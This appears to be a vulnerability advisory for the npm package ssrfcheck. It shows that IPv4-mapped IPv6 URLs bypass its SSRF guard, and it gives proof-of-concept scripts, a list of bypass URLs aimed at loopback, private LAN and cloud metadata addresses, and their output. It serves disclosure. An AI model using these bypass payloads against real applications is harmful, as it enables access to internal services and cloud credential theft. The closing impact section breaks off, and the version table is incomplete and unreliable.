Server-side request forgery (SSRF) In ssrfcheck
Description
ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs ### Summary ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF. --- ### Details Vulnerable file: src/is-private-ip.js The library detects IPv6 private addresses using the privIp6() function. The relevant portion: js // src/is-private-ip.js (lines ~40-60 of the published source) function privIp6 (ip) { return /^::$/.test(ip) || /^::1$/.test(ip) || /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) || // ... more patterns, all expect dot-notation ... } The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first. How WHATWG URL normalizes the address (src/parse-url.js): js const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots const ipVersion = isIP(ipcheck); // returns 6 The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing: 127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1 169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe 192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101 So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+). Entry point (src/index.js): js if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) { return false; // ← never reached for IPv4-mapped IPv6 } return true; // ← always reached → BYPASS --- ### PoC Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable. Setup: bash mkdir ssrfcheck-poc && cd ssrfcheck-poc npm init -y npm install ssrfcheck Step 1 — confirm WHATWG URL normalization: bash node << 'EOF' const addrs = [ ['127.0.0.1', 'loopback'], ['169.254.169.254', 'AWS/GCP/Azure metadata'], ['192.168.1.1', 'private LAN'], ['10.0.0.1', '10.x range'], ]; for (const [ip, label] of addrs) { const h = new URL('http://[::ffff:' + ip + ']/').hostname; console.log(label + ' -> ' + h); } EOF Expected output — confirms WHATWG drops dots: loopback -> [::ffff:7f00:1] AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe] private LAN -> [::ffff:c0a8:101] 10.x range -> [::ffff:a00:1] Step 2 — trigger the bypass: bash node << 'EOF' const { isSSRFSafeURL } = require('ssrfcheck'); const bypasses = [ 'http://[::ffff:127.0.0.1]/', 'http://[::ffff:169.254.169.254]/', 'http://[::ffff:192.168.1.1]/', 'http://[::ffff:10.0.0.1]/', 'http://[::ffff:172.16.0.1]/', 'http://[::ffff:7f00:1]/', 'http://[0:0:0:0:0:ffff:127.0.0.1]/', ]; for (const url of bypasses) { const result = isSSRFSafeURL(url); console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result); } console.log('---'); const r1 = isSSRFSafeURL('http://127.0.0.1/'); const r2 = isSSRFSafeURL('http://192.168.1.1/'); const r3 = isSSRFSafeURL('http://[::1]/'); console.log('127.0.0.1 caught?', r1 === false); console.log('192.168.1.1 caught?', r2 === false); console.log('[::1] caught?', r3 === false); EOF Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12): [BYPASS] http://[::ffff:127.0.0.1]/ -> true [BYPASS] http://[::ffff:169.254.169.254]/ -> true [BYPASS] http://[::ffff:192.168.1.1]/ -> true [BYPASS] http://[::ffff:10.0.0.1]/ -> true [BYPASS] http://[::ffff:172.16.0.1]/ -> true [BYPASS] http://[::ffff:7f00:1]/ -> true [BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true --- 127.0.0.1 caught? true 192.168.1.1 caught? true [::1] caught? true 7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path. Full automated verification script (verify-ssrfcheck.js): js #!/usr/bin/node // ssrfcheck bypass verification script // Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization const { isSSRFSafeURL } = require('ssrfcheck'); const RED = '\x1b[31m'; const GREEN = '\x1b[32m'; const CYAN = '\x1b[36m'; const DIM = '\x1b[2m'; const RESET = '\x1b[0m'; const BYPASSES = [ { url: 'http://[::ffff:127.0.0.1]/', label: 'loopback (127.0.0.1)' }, { url: 'http://[::ffff:169.254.169.254]/', label: 'AWS meta (169.254.169.254)' }, { url: 'http://[::ffff:192.168.1.1]/', label: 'LAN (192.168.1.1)' }, { url: 'http://[::ffff:10.0.0.1]/', label: '10.x range (10.0.0.1)' }, { url: 'http://[::ffff:172.16.0.1]/', label: '172.16.x (172.16.0.1)' }, { url: 'http://[::ffff:7f00:1]/', label: 'hex form (direct)' }, { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded (0:0:0:0:0:ffff:127.0.0.1)' }, ]; const BASELINE = [ { url: 'http://127.0.0.1/', label: 'dotted loopback', expectFalse: true }, { url: 'http://192.168.1.1/', label: 'private LAN', expectFalse: true }, { url: 'http://[::1]/', label: 'IPv6 loopback', expectFalse: true }, { url: 'https://example.com/', label: 'public domain', expectFalse: false }, ]; console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`); console.log(`${DIM}Node.js ${process.version}${RESET}\n`); console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`); for (const { url } of BYPASSES) { const parsed = new URL(url); console.log(` ${url.padEnd(45)} -> hostname: ${parsed.hostname}`); } console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`); let bypassed = 0; for (const { url, label } of BYPASSES) { const result = isSSRFSafeURL(url); if (result === true) bypassed++; const tag = result === true ? `${RED}[BYPASS]${RESET}` : `${GREEN}[caught]${RESET}`; console.log(` ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`); } console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`); for (const { url, label, expectFalse } of BASELINE) { const result = isSSRFSafeURL(url); const ok = (expectFalse ? result === false : result === true); const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `; console.log(` ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`); } console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`); process.exit(bypassed === BYPASSES.length ? 1 : 0); Run: bash node verify-ssrfcheck.js # exit code 0 = all caught (fixed) # VIDEO POC ASCII CAST -- ### Impact Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass Who is impacted: Any Node.js application that: 1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload) 2. Uses
isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request 3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026) Concrete impact scenarios:
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
npm | ssrfcheck | 1.4.0 |
Aliases
References